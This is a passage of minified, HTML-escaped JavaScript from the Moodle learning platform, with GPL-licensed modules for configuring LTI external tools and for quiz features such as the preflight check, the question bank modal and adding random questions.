tr&quot;))+&quot;:%20&quot;+encodeURIComponent(element.data(&quot;deploymentid&quot;))+&quot;%0D%0A&quot;+encodeURIComponent(element.data(&quot;publickeyseturlstr&quot;))+&quot;:%20&quot;+encodeURIComponent(element.data(&quot;publickeyseturl&quot;))+&quot;%0D%0A&quot;+encodeURIComponent(element.data(&quot;accesstokenurlstr&quot;))+&quot;:%20&quot;+encodeURIComponent(element.data(&quot;accesstokenurl&quot;))+&quot;%0D%0A&quot;+encodeURIComponent(element.data(&quot;authrequesturlstr&quot;))+&quot;:%20&quot;+encodeURIComponent(element.data(&quot;authrequesturl&quot;))+&quot;%0D%0A&quot;};var footerPromise=templates.render(&quot;mod_lti/tool_config_modal_footer&quot;,context);modalFactory.create({large:!0,title:element.data(&quot;modaltitle&quot;),body:bodyPromise,footer:footerPromise},trigger)}(element)}}}));
/**
 * Standard Ajax wrapper for Moodle. It calls the central Ajax script,
 * which can call any existing webservice using the current session.
 * In addition, it can batch multiple requests and return multiple responses.
 *
 * @module     mod_lti/tool_configure_controller
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/tool_configure_controller&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/paged_content_factory&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;mod_lti/events&quot;,&quot;mod_lti/keys&quot;,&quot;mod_lti/tool_types_and_proxies&quot;,&quot;mod_lti/tool_type&quot;,&quot;mod_lti/tool_proxy&quot;,&quot;core/str&quot;,&quot;core/config&quot;],(function($,ajax,pagedContentFactory,notification,templates,ltiEvents,KEYS,toolTypesAndProxies,toolType,toolProxy,str,config){var SELECTORS_EXTERNAL_REGISTRATION_CONTAINER=&quot;#external-registration-container&quot;,SELECTORS_EXTERNAL_REGISTRATION_PAGE_CONTAINER=&quot;#external-registration-page-container&quot;,SELECTORS_EXTERNAL_REGISTRATION_TEMPLATE_CONTAINER=&quot;#external-registration-template-container&quot;,SELECTORS_CARTRIDGE_REGISTRATION_CONTAINER=&quot;#cartridge-registration-container&quot;,SELECTORS_CARTRIDGE_REGISTRATION_FORM=&quot;#cartridge-registration-form&quot;,SELECTORS_TOOL_CARD_CONTAINER=&quot;#tool-card-container&quot;,SELECTORS_TOOL_LIST_CONTAINER=&quot;#tool-list-container&quot;,SELECTORS_TOOL_CREATE_BUTTON=&quot;#tool-create-button&quot;,SELECTORS_TOOL_CREATE_LTILEGACY_BUTTON=&quot;#tool-createltilegacy-button&quot;,SELECTORS_REGISTRATION_CHOICE_CONTAINER=&quot;#registration-choice-container&quot;,SELECTORS_TOOL_URL=&quot;#tool-url&quot;,getToolListContainer=function(){return $(SELECTORS_TOOL_LIST_CONTAINER)};var getExternalRegistrationContainer=function(){return $(SELECTORS_EXTERNAL_REGISTRATION_CONTAINER)},getCartridgeRegistrationContainer=function(){return $(SELECTORS_CARTRIDGE_REGISTRATION_CONTAINER)},getRegistrationChoiceContainer=function(){return $(SELECTORS_REGISTRATION_CHOICE_CONTAINER)},closeLTIAdvRegistration=function(e){e.data&amp;&amp;&quot;org.imsglobal.lti.close&quot;===e.data.subject&amp;&amp;($(SELECTORS_EXTERNAL_REGISTRATION_TEMPLATE_CONTAINER).empty(),hideExternalRegistration(),showRegistrationChoices(),showToolList(),showRegistrationChoices(),reloadToolList())},getToolURL=function(){return $(SELECTORS_TOOL_URL).val()},hideExternalRegistration=function(){getExternalRegistrationContainer().addClass(&quot;hidden&quot;)},hideCartridgeRegistration=function(){getCartridgeRegistrationContainer().addClass(&quot;hidden&quot;)},hideRegistrationChoices=function(){getRegistrationChoiceContainer().addClass(&quot;hidden&quot;)},showExternalRegistration=function(){hideCartridgeRegistration(),hideRegistrationChoices(),getExternalRegistrationContainer().removeClass(&quot;hidden&quot;),screenReaderAnnounce(getExternalRegistrationContainer())},showRegistrationChoices=function(){hideExternalRegistration(),hideCartridgeRegistration(),getRegistrationChoiceContainer().removeClass(&quot;hidden&quot;),screenReaderAnnounce(getRegistrationChoiceContainer())},screenReaderAnnounce=function(element){element.children().detach().appendTo(element)},hideToolList=function(){getToolListContainer().addClass(&quot;hidden&quot;)},showToolList=function(){getToolListContainer().removeClass(&quot;hidden&quot;)},startLoading=function(element){element.addClass(&quot;loading&quot;)},stopLoading=function(element){element.removeClass(&quot;loading&quot;)},reloadToolList=function(){M.util.js_pending(&quot;reloadToolList&quot;);const cardContainer=$(SELECTORS_TOOL_CARD_CONTAINER),listContainer=getToolListContainer();fetchToolCount().done((function(data){pagedContentFactory.createWithTotalAndLimit(data.count,60,(function(pagesData){return pagesData.map((function(pageData){return fetchToolData(pageData.limit,pageData.offset).then((function(data){return renderToolData(data)}))}))}),{showFirstLast:!0}).done((function(html,js){templates.replaceNodeContents(cardContainer,html,js)})).always((function(){stopLoading(listContainer),M.util.js_complete(&quot;reloadToolList&quot;)}))})),startLoading(listContainer)};const fetchToolCount=function(){return toolTypesAndProxies.count({orphanedonly:!0}).done((function(data){return data})).catch((function(error){return notification.exception(error),{count:0}}))},fetchToolData=function(limit,offset){const args={orphanedonly:!0};return null===limit||Number.isNaN(limit)||(args.limit=limit),null===offset||Number.isNaN(offset)||(args.offset=offset),toolTypesAndProxies.query(args).done((function(data){return data})).catch((function(error){return notification.exception(error),{types:[],proxies:[],limit:limit,offset:offset}}))},renderToolData=function(data){const context={tools:data.types,proxies:data.proxies};return templates.render(&quot;mod_lti/tool_list&quot;,context).done((function(html,js){return{html:html,js:js}}))};var addLTIAdvTool=function(){var url=getToolURL().trim();url&amp;&amp;($(SELECTORS_TOOL_URL).val(&quot;&quot;),hideToolList(),function(url){$(SELECTORS_EXTERNAL_REGISTRATION_PAGE_CONTAINER).removeClass(&quot;hidden&quot;),$(SELECTORS_EXTERNAL_REGISTRATION_TEMPLATE_CONTAINER).append($(&quot;&lt;iframe src=&#039;startltiadvregistration.php?url=&quot;+encodeURIComponent(url)+&quot;&amp;sesskey=&quot;+config.sesskey+&quot;&#039;&gt;&lt;/iframe&gt;&quot;)),showExternalRegistration(),window.addEventListener(&quot;message&quot;,closeLTIAdvRegistration,!1)}(url))},registerEventListeners=function(){$(document).on(ltiEvents.NEW_TOOL_TYPE,(function(){reloadToolList()})),$(document).on(ltiEvents.START_EXTERNAL_REGISTRATION,(function(){showExternalRegistration(),$(SELECTORS_TOOL_URL).val(&quot;&quot;),hideToolList()})),$(document).on(ltiEvents.STOP_EXTERNAL_REGISTRATION,(function(){showToolList(),showRegistrationChoices()})),$(document).on(ltiEvents.START_CARTRIDGE_REGISTRATION,(function(event,url){!function(url){hideExternalRegistration(),hideRegistrationChoices();var container=getCartridgeRegistrationContainer();container.find(&quot;input&quot;).val(&quot;&quot;),container.removeClass(&quot;hidden&quot;),container.find(SELECTORS_CARTRIDGE_REGISTRATION_FORM).attr(&quot;data-cartridge-url&quot;,url),screenReaderAnnounce(container)}(url)})),$(document).on(ltiEvents.STOP_CARTRIDGE_REGISTRATION,(function(){getCartridgeRegistrationContainer().find(SELECTORS_CARTRIDGE_REGISTRATION_FORM).removeAttr(&quot;data-cartridge-url&quot;),showRegistrationChoices()})),$(document).on(ltiEvents.REGISTRATION_FEEDBACK,(function(event,data){!function(data){var type=data.error?&quot;error&quot;:&quot;success&quot;;notification.addNotification({message:data.message,type:type})}(data)})),$(SELECTORS_TOOL_CREATE_LTILEGACY_BUTTON).click((function(e){e.preventDefault(),function(){var url=getToolURL().trim();if(&quot;&quot;===url)return $.Deferred().resolve();var toolButton=$(SELECTORS_TOOL_CREATE_LTILEGACY_BUTTON);startLoading(toolButton);var promise=toolType.isCartridge(url);promise.always((function(){stopLoading(toolButton)})),promise.done((function(result){result.iscartridge?($(SELECTORS_TOOL_URL).val(&quot;&quot;),$(document).trigger(ltiEvents.START_CARTRIDGE_REGISTRATION,url)):$(document).trigger(ltiEvents.START_EXTERNAL_REGISTRATION,{url:url})})),promise.fail((function(){str.get_string(&quot;errorbadurl&quot;,&quot;mod_lti&quot;).done((function(s){$(document).trigger(ltiEvents.REGISTRATION_FEEDBACK,{message:s,error:!0})})).fail(notification.exception)}))}()})),$(SELECTORS_TOOL_CREATE_BUTTON).click((function(e){e.preventDefault(),addLTIAdvTool()}))};return{init:function(){registerEventListeners(),reloadToolList()}}}));
/**
 * Provides a list of events that can be triggered in the LTI management
 * page.
 *
 * @module     mod_lti/events
 * @class      events
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/events&quot;,[],(function(){return{NEW_TOOL_TYPE:&quot;lti.tool.type.new&quot;,START_EXTERNAL_REGISTRATION:&quot;lti.registration.external.start&quot;,STOP_EXTERNAL_REGISTRATION:&quot;lti.registration.external.stop&quot;,START_CARTRIDGE_REGISTRATION:&quot;lti.registration.cartridge.start&quot;,STOP_CARTRIDGE_REGISTRATION:&quot;lti.registration.cartridge.stop&quot;,REGISTRATION_FEEDBACK:&quot;lti.registration.feedback&quot;,CAPABILITIES_AGREE:&quot;lti.tool.type.capabilities.agree&quot;,CAPABILITIES_DECLINE:&quot;lti.tool.type.capabilities.decline&quot;}}));
/**
 * A list of keys and their keycodes that are used by the LTI modules.
 *
 * @module     mod_lti/keys
 * @class      keys
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/keys&quot;,[],(function(){return{ENTER:13,SPACE:32}}));
/**
 * Processes the result of LTI tool creation from a Content-Item message type.
 *
 * @module     mod_lti/contentitem_return
 * @copyright  2016 Jun Pataleta &lt;jun@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.2
 */
define(&quot;mod_lti/contentitem_return&quot;,[&quot;jquery&quot;],(function($){return{init:function(returnData){$(window).ready((function(){window!=top?parent.processContentItemReturnData(returnData):window.processContentItemReturnData(returnData)}))}}}));
define(&quot;mod_lti/tool_types_and_proxies&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){var obj;
/**
   * Provides an interface for external tools in the Moodle server.
   *
   * @module     mod_lti/tool_types_and_proxies
   * @class      tool_types_and_proxies
   * @copyright  2020 Andrew Madden &lt;andrewmadden@catalyst-au.net&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      4.0
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.query=_exports.count=void 0,_ajax=(obj=_ajax)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.query=args=&gt;{const request={methodname:&quot;mod_lti_get_tool_types_and_proxies&quot;,args:args||{}};return _ajax.default.call([request])[0]};_exports.count=args=&gt;{const request={methodname:&quot;mod_lti_get_tool_types_and_proxies_count&quot;,args:args||{}};return _ajax.default.call([request])[0]}}));
/**
 * Provides an interface for a tool proxy in the Moodle server.
 *
 * @module     mod_lti/tool_proxy
 * @copyright  2015 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_lti/tool_proxy&quot;,[&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(ajax,notification){return{query:function(args){var request={methodname:&quot;mod_lti_get_tool_proxies&quot;,args:args||{}},promise=ajax.call([request])[0];return promise.fail(notification.exception),promise},delete:function(id){var request={methodname:&quot;mod_lti_delete_tool_proxy&quot;,args:{id:id}},promise=ajax.call([request])[0];return promise.fail(notification.exception),promise},create:function(args){var request={methodname:&quot;mod_lti_create_tool_proxy&quot;,args:args};return ajax.call([request])[0]}}}));
/**
 * This class manages the confirmation pop-up (also called the pre-flight check)
 * that is sometimes shown when a use clicks the start attempt button.
 *
 * This is also responsible for opening the pop-up window, if the quiz requires to be in one.
 *
 * @module    mod_quiz/preflightcheck
 * @copyright 2016 The Open University
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since     3.1
 */
define(&quot;mod_quiz/preflightcheck&quot;,[&quot;jquery&quot;,&quot;core/yui&quot;,&quot;core_form/changechecker&quot;],(function($,Y,FormChangeChecker){var t={confirmDialogue:null,init:function(startButton,confirmationTitle,confirmationForm,popupoptions){var finalStartButton=startButton;Y.use(&quot;moodle-core-notification&quot;,(function(){Y.one(confirmationForm)&amp;&amp;(t.confirmDialogue=new M.core.dialogue({headerContent:confirmationTitle,bodyContent:Y.one(confirmationForm),draggable:!0,visible:!1,center:!0,modal:!0,width:null,extraClasses:[&quot;mod_quiz_preflight_popup&quot;]}),Y.one(startButton).on(&quot;click&quot;,t.displayDialogue),Y.one(&quot;#id_cancel&quot;).on(&quot;click&quot;,t.hideDialogue),finalStartButton=t.confirmDialogue.get(&quot;boundingBox&quot;).one(&#039;[name=&quot;submitbutton&quot;]&#039;)),popupoptions&amp;&amp;Y.one(finalStartButton).on(&quot;click&quot;,t.launchQuizPopup,t,popupoptions)}))},displayDialogue:function(e){e&amp;&amp;e.halt(),t.confirmDialogue.show()},hideDialogue:function(e){e&amp;&amp;e.halt(),t.confirmDialogue.hide(e)},launchQuizPopup:function(e,popupoptions){e.halt(),Y.use(&quot;io-form&quot;,(function(){var form=e.target.ancestor(&quot;form&quot;);FormChangeChecker.resetFormDirtyState(form.getDOMNode()),window.openpopup(e,{url:form.get(&quot;action&quot;)+&quot;?&quot;+Y.IO.stringify(form).replace(/\bcancel=/,&quot;x=&quot;),windowname:&quot;quizpopup&quot;,options:popupoptions,fullscreen:!0})}))}};return t}));
/**
 * Initialise the add random question modal on the quiz page.
 *
 * @module    mod_quiz/add_random_question
 * @copyright 2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_quiz/add_random_question&quot;,[&quot;mod_quiz/add_question_modal_launcher&quot;,&quot;mod_quiz/modal_add_random_question&quot;],(function(AddQuestionModalLauncher,ModalAddRandomQuestion){return{init:function(contextId,category,returnUrl,cmid){let showNewCategory=!(arguments.length&gt;4&amp;&amp;void 0!==arguments[4])||arguments[4];AddQuestionModalLauncher.init(ModalAddRandomQuestion.TYPE,&#039;.menu [data-action=&quot;addarandomquestion&quot;]&#039;,contextId,(function(triggerElement,modal){modal.setCategory(category),modal.setReturnUrl(returnUrl),modal.setCMID(cmid)}),showNewCategory)}}}));
/**
 * Contain the logic for the question bank modal.
 *
 * @module     mod_quiz/modal_quiz_question_bank
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_quiz/modal_quiz_question_bank&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/modal&quot;,&quot;core/modal_events&quot;,&quot;core/modal_registry&quot;,&quot;core/fragment&quot;,&quot;core_form/changechecker&quot;],(function($,Notification,Modal,ModalEvents,ModalRegistry,Fragment,FormChangeChecker){var registered=!1,SELECTORS_ADD_TO_QUIZ_CONTAINER=&quot;td.addtoquizaction&quot;,SELECTORS_ANCHOR=&quot;a[href]&quot;,SELECTORS_PREVIEW_CONTAINER=&quot;td.previewaction&quot;,SELECTORS_SEARCH_OPTIONS=&quot;#advancedsearch&quot;,SELECTORS_DISPLAY_OPTIONS=&quot;#displayoptions&quot;,SELECTORS_ADD_QUESTIONS_FORM=&quot;form#questionsubmit&quot;,ModalQuizQuestionBank=function(root){Modal.call(this,root),this.contextId=null,this.addOnPageId=null};return ModalQuizQuestionBank.TYPE=&quot;mod_quiz-quiz-question-bank&quot;,(ModalQuizQuestionBank.prototype=Object.create(Modal.prototype)).constructor=ModalQuizQuestionBank,ModalQuizQuestionBank.prototype.setContextId=function(id){this.contextId=id},ModalQuizQuestionBank.prototype.getContextId=function(){return this.contextId},ModalQuizQuestionBank.prototype.setAddOnPageId=function(id){this.addOnPageId=id},ModalQuizQuestionBank.prototype.getAddOnPageId=function(){return this.addOnPageId},ModalQuizQuestionBank.prototype.show=function(){return this.reloadBodyContent(window.location.search),Modal.prototype.show.call(this)},ModalQuizQuestionBank.prototype.reloadBodyContent=function(queryString){var promise=Fragment.loadFragment(&quot;mod_quiz&quot;,&quot;quiz_question_bank&quot;,this.getContextId(),{querystring:queryString}).fail(Notification.exception);this.setBody(promise)},ModalQuizQuestionBank.prototype.handleAddToQuizEvent=function(e,anchorElement){var href=anchorElement.attr(&quot;href&quot;)+&quot;&amp;addonpage=&quot;+this.getAddOnPageId();anchorElement.attr(&quot;href&quot;,href)},ModalQuizQuestionBank.prototype.handlePreviewContainerEvent=function(e,anchorElement){window.openpopup(e,{url:anchorElement.attr(&quot;href&quot;),name:&quot;questionpreview&quot;,options:[&quot;height=600&quot;,&quot;width=800&quot;,&quot;top=0&quot;,&quot;left=0&quot;,&quot;menubar=0&quot;,&quot;location=0&quot;,&quot;scrollbars&quot;,&quot;resizable&quot;,&quot;toolbar&quot;,&quot;status&quot;,&quot;directories=0&quot;,&quot;fullscreen=0&quot;,&quot;dependent&quot;].join(&quot;,&quot;)})},ModalQuizQuestionBank.prototype.handleDisplayOptionFormEvent=function(e){e.stopPropagation(),e.preventDefault();var queryString=&quot;?&quot;+$(e.target).closest(SELECTORS_DISPLAY_OPTIONS).serialize();this.reloadBodyContent(queryString)},ModalQuizQuestionBank.prototype.registerDisplayOptionListeners=function(){this.getModal().on(&quot;change&quot;,SELECTORS_DISPLAY_OPTIONS,function(e){$(e.target).attr(&quot;aria-autocomplete&quot;)||this.handleDisplayOptionFormEvent(e)}.bind(this)),this.getModal().on(&quot;submit&quot;,SELECTORS_DISPLAY_OPTIONS,function(e){this.handleDisplayOptionFormEvent(e)}.bind(this))},ModalQuizQuestionBank.prototype.registerEventListeners=function(){Modal.prototype.registerEventListeners.call(this),this.registerDisplayOptionListeners(),this.getModal().on(&quot;submit&quot;,SELECTORS_ADD_QUESTIONS_FORM,function(e){var formElement=$(e.currentTarget);$(&quot;&lt;input /&gt;&quot;).attr(&quot;type&quot;,&quot;hidden&quot;).attr(&quot;name&quot;,&quot;addonpage&quot;).attr(&quot;value&quot;,this.getAddOnPageId()).appendTo(formElement)}.bind(this)),this.getModal().on(&quot;click&quot;,SELECTORS_ANCHOR,function(e){var anchorElement=$(e.currentTarget);anchorElement.closest(SELECTORS_ADD_TO_QUIZ_CONTAINER).length?this.handleAddToQuizEvent(e,anchorElement):anchorElement.closest(SELECTORS_PREVIEW_CONTAINER).length?this.handlePreviewContainerEvent(e,anchorElement):anchorElement.closest(SELECTORS_SEARCH_OPTIONS).length||(e.preventDefault(),this.reloadBodyContent(anchorElement.prop(&quot;search&quot;)))}.bind(this)),this.getRoot().on(ModalEvents.bodyRendered,(function(){FormChangeChecker.disableAllChecks()}))},registered||(ModalRegistry.register(ModalQuizQuestionBank.TYPE,ModalQuizQuestionBank,&quot;core/modal&quot;),registered=!0),ModalQuizQuestionBank}));
/**
 * JavaScript for the random_question_form_preview of the
 * add_random_form class.
 *
 * @module    mod_quiz/random_question_form_preview
 * @copyright 2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_quiz/random_question_form_preview&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/paged_content_factory&quot;],(function($,Ajax,Str,Notification,Templates,PagedContentFactory){var TEMPLATE_NAME=&quot;mod_quiz/random_question_form_preview_question_list&quot;,SELECTORS_LOADING_ICON_CONTAINER=&#039;[data-region=&quot;overlay-icon-container&quot;]&#039;,SELECTORS_QUESTION_COUNT_CONTAINER=&#039;[data-region=&quot;question-count-container&quot;]&#039;,SELECTORS_QUESTION_LIST_CONTAINER=&#039;[data-region=&quot;question-list-container&quot;]&#039;,showLoadingIcon=function(root){root.find(SELECTORS_LOADING_ICON_CONTAINER).removeClass(&quot;hidden&quot;)},hideLoadingIcon=function(root){root.find(SELECTORS_LOADING_ICON_CONTAINER).addClass(&quot;hidden&quot;)},requestQuestions=function(categoryId,includeSubcategories,tagIds,contextId,limit,offset){var request={methodname:&quot;core_question_get_random_question_summaries&quot;,args:{categoryid:categoryId,includesubcategories:includeSubcategories,tagids:tagIds,contextid:contextId,limit:limit,offset:offset}};return Ajax.call([request])[0]};return{reload:function(root,categoryId,includeSubcategories,tagIds,contextId){return showLoadingIcon(root),requestQuestions(categoryId,includeSubcategories,tagIds,contextId,5,0).then((function(response){var totalCount=response.totalcount;return function(root,questionCount){Str.get_string(&quot;questionsmatchingfilter&quot;,&quot;mod_quiz&quot;,questionCount).then((function(string){root.find(SELECTORS_QUESTION_COUNT_CONTAINER).html(string)})).fail(Notification.exception)}(root,totalCount),response})).then((function(response){var totalQuestionCount=response.totalcount,questions=response.questions;return questions.length?function(categoryId,includeSubcategories,tagIds,contextId,totalQuestionCount,firstPageQuestions){return PagedContentFactory.createFromAjax(totalQuestionCount,5,(function(pagesData){return pagesData.map((function(pageData){var limit=pageData.limit,offset=pageData.offset;return 0==offset?Templates.render(TEMPLATE_NAME,{questions:firstPageQuestions}):requestQuestions(categoryId,includeSubcategories,tagIds,contextId,limit,offset).then((function(response){var questions=response.questions;return Templates.render(TEMPLATE_NAME,{questions:questions})})).fail(Notification.exception)}))}))}(categoryId,includeSubcategories,tagIds,contextId,totalQuestionCount,questions):$.Deferred().resolve(&quot;&quot;,&quot;&quot;)})).then((function(html,js){var container=root.find(SELECTORS_QUESTION_LIST_CONTAINER);Templates.replaceNodeContents(container,html,js)})).always((function(){hideLoadingIcon(root)})).fail(Notification.exception)},showLoadingIcon:showLoadingIcon,hideLoadingIcon:hideLoadingIcon}}));
define(&quot;mod_quiz/question_slot&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(_exports,_ajax,_notification){var obj;
/**
   * Render the question slot template for each question in the quiz edit view.
   *
   * @module     mod_quiz/question_slot
   * @copyright  2021 Catalyst IT Australia Pty Ltd
   * @author     Guillermo Gomez Arias &lt;guillermogomez@catalyst-au.net&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=(obj=_notification)&amp;&amp;obj.__esModule?obj:{default:obj};const registerEventListeners=()=&gt;{document.addEventListener(&quot;change&quot;,(e=&gt;{if(!e.target.matches(&#039;[data-action=&quot;mod_quiz-select_slot&quot;][data-slot-id]&#039;))return;((slotId,newVersion)=&gt;(0,_ajax.call)([{methodname:&quot;mod_quiz_set_question_version&quot;,args:{slotid:slotId,newversion:newVersion}}])[0])(e.target.dataset.slotId,parseInt(e.target.value)).then((()=&gt;{location.reload()})).catch(_notification.default.exception)}))};_exports.init=()=&gt;{registerEventListeners()}}));
/**
 * JavaScript for the add_random_form class.
 *
 * @module    mod_quiz/add_random_form
 * @copyright 2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_quiz/add_random_form&quot;,[&quot;jquery&quot;,&quot;mod_quiz/random_question_form_preview&quot;],(function($,RandomQuestionFormPreview){var SELECTORS_PREVIEW_CONTAINER=&#039;[data-region=&quot;random-question-preview-container&quot;]&#039;,SELECTORS_CATEGORY_FORM_ELEMENT=&#039;[name=&quot;category&quot;]&#039;,SELECTORS_SUBCATEGORY_FORM_ELEMENT=&#039;[name=&quot;includesubcategories&quot;]&#039;,SELECTORS_TAG_IDS_FORM_ELEMENT=&#039;[name=&quot;fromtags[]&quot;]&#039;,getCategorySelectValue=function(form){return form.find(SELECTORS_CATEGORY_FORM_ELEMENT).val()},shouldIncludeSubcategories=function(form,topCategories){return!!function(form,topCategories){var selectedValue=getCategorySelectValue(form);return topCategories.indexOf(selectedValue)&gt;-1}(form,topCategories)||form.find(SELECTORS_SUBCATEGORY_FORM_ELEMENT).is(&quot;:checked&quot;)},reloadQuestionPreview=function(form,contextId,topCategories){var previewContainer=form.find(SELECTORS_PREVIEW_CONTAINER);RandomQuestionFormPreview.reload(previewContainer,function(form){return getCategorySelectValue(form).split(&quot;,&quot;)[0]}(form),shouldIncludeSubcategories(form,topCategories),function(form){return form.find(SELECTORS_TAG_IDS_FORM_ELEMENT).val().map((function(value){return value.split(&quot;,&quot;)[0]}))}(form),contextId)},addEventListeners=function(form,contextId,topCategories){var reloadTimerId=null;const tagsFilter=form.find(SELECTORS_TAG_IDS_FORM_ELEMENT);form.add(tagsFilter).on(&quot;change&quot;,(function(e){var element;((element=$(e.target)).closest(SELECTORS_CATEGORY_FORM_ELEMENT).length&gt;0||element.closest(SELECTORS_SUBCATEGORY_FORM_ELEMENT).length&gt;0||element.closest(SELECTORS_TAG_IDS_FORM_ELEMENT).length&gt;0)&amp;&amp;(RandomQuestionFormPreview.showLoadingIcon(form),reloadTimerId&amp;&amp;clearTimeout(reloadTimerId),reloadTimerId=setTimeout((function(){reloadQuestionPreview(form,contextId,topCategories)}),2e3))}))};return{init:function(formId,contextId,topCategories,isTagsEnabled){if(1==isTagsEnabled){var form=$(&quot;#&quot;+formId);reloadQuestionPreview(form,contextId,topCategories),addEventListeners(form,contextId,topCategories)}}}}));
/**
 * Contain the logic for the add random question modal.
 *
 * @module     mod_quiz/modal_add_random_question
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_quiz/modal_add_random_question&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/modal&quot;,&quot;core/modal_events&quot;,&quot;core/modal_registry&quot;,&quot;core/fragment&quot;,&quot;core/templates&quot;,&quot;core_form/changechecker&quot;],(function($,Notification,Modal,ModalEvents,ModalRegistry,Fragment,Templates,FormChangeChecker){var registered=!1,SELECTORS_EXISTING_CATEGORY_CONTAINER=&#039;[data-region=&quot;existing-category-container&quot;]&#039;,SELECTORS_EXISTING_CATEGORY_FORM_ELEMENT=&quot;#id_existingcategoryheader&quot;,SELECTORS_NEW_CATEGORY_CONTAINER=&#039;[data-region=&quot;new-category-container&quot;]&#039;,SELECTORS_NEW_CATEGORY_FORM_ELEMENT=&quot;#id_newcategoryheader&quot;,SELECTORS_TAB_CONTENT=&#039;[data-region=&quot;tab-content&quot;]&#039;,SELECTORS_ADD_ON_PAGE_FORM_ELEMENT=&#039;[name=&quot;addonpage&quot;]&#039;,SELECTORS_SUBMIT_BUTTON_ELEMENT=&#039;input[type=&quot;submit&quot;]&#039;,SELECTORS_CANCEL_BUTTON_ELEMENT=&#039;input[type=&quot;submit&quot;][name=&quot;cancel&quot;]&#039;,SELECTORS_FORM_HEADER=&quot;legend&quot;,SELECTORS_BUTTON_CONTAINER=&quot;.fitem&quot;,ModalAddRandomQuestion=function(root){Modal.call(this,root),this.contextId=null,this.addOnPageId=null,this.category=null,this.returnUrl=null,this.cmid=null,this.loadedForm=!1};return ModalAddRandomQuestion.TYPE=&quot;mod_quiz-quiz-add-random-question&quot;,(ModalAddRandomQuestion.prototype=Object.create(Modal.prototype)).constructor=ModalAddRandomQuestion,ModalAddRandomQuestion.prototype.setContextId=function(id){this.contextId=id},ModalAddRandomQuestion.prototype.getContextId=function(){return this.contextId},ModalAddRandomQuestion.prototype.setAddOnPageId=function(id){this.addOnPageId=id,this.getBody().find(SELECTORS_ADD_ON_PAGE_FORM_ELEMENT).val(id)},ModalAddRandomQuestion.prototype.getAddOnPageId=function(){return this.addOnPageId},ModalAddRandomQuestion.prototype.setCategory=function(category){this.category=category},ModalAddRandomQuestion.prototype.getCategory=function(){return this.category},ModalAddRandomQuestion.prototype.setReturnUrl=function(url){this.returnUrl=url},ModalAddRandomQuestion.prototype.getReturnUrl=function(){return this.returnUrl},ModalAddRandomQuestion.prototype.setCMID=function(id){this.cmid=id},ModalAddRandomQuestion.prototype.getCMID=function(){return this.cmid},ModalAddRandomQuestion.prototype.moveFormElementIntoTab=function(formElement,tabElement){var submitButtons=formElement.find(SELECTORS_SUBMIT_BUTTON_ELEMENT),footer=$(&#039;&lt;div class=&quot;modal-footer mt-1&quot; data-region=&quot;footer&quot;&gt;&lt;/div&gt;&#039;);formElement.find(SELECTORS_FORM_HEADER).addClass(&quot;hidden&quot;),formElement.wrap(tabElement),submitButtons.closest(SELECTORS_BUTTON_CONTAINER).remove(),submitButtons.appendTo(footer),footer.appendTo(formElement)},ModalAddRandomQuestion.prototype.moveTabsIntoTabContent=function(form){var tabContent=this.getBody().find(SELECTORS_TAB_CONTENT).empty();form.find(&#039;[role=&quot;tabpanel&quot;]&#039;).wrapAll(tabContent)},ModalAddRandomQuestion.prototype.moveCancelButtonToTabs=function(form){var cancelButton=form.find(SELECTORS_CANCEL_BUTTON_ELEMENT).addClass(&quot;ml-1&quot;),tabFooters=form.find(&#039;[data-region=&quot;footer&quot;]&#039;);cancelButton.closest(SELECTORS_BUTTON_CONTAINER).remove(),cancelButton.clone().appendTo(tabFooters)},ModalAddRandomQuestion.prototype.loadForm=function(){return Fragment.loadFragment(&quot;mod_quiz&quot;,&quot;add_random_question_form&quot;,this.getContextId(),{addonpage:this.getAddOnPageId(),cat:this.getCategory(),returnurl:this.getReturnUrl(),cmid:this.getCMID()}).then(function(html,js){var 